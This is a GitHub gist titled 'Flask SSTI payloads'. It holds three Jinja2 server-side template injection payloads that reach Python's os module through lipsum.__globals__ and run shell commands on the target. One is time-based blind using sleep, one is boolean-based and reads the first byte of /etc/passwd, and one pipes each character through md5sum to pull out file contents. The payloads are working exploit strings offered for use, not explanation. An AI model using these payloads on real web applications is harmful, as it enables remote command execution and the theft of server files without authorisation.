Created
October 22, 2023 18:47
-
-
Save zAbuQasem/c7bc861cbe052b3d0967744076299bdf to your computer and use it in GitHub Desktop.
Flask SSTI payloads
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Time Based | |
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% elif lipsum.__globals__["os"].popen('sleep 5').read() %}Free-Palestine{% endif %} | |
# Boolen Based | |
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% endif %} | |
# You may pipe chars to md5sum in order to retrieve new lines without headache | |
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd | md5sum | cut -d " " -f1 | tr -d "\n"').read() == "4b43b0aee35624cd95b910189b3dc231" %}Free-Palestine{% endif %} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment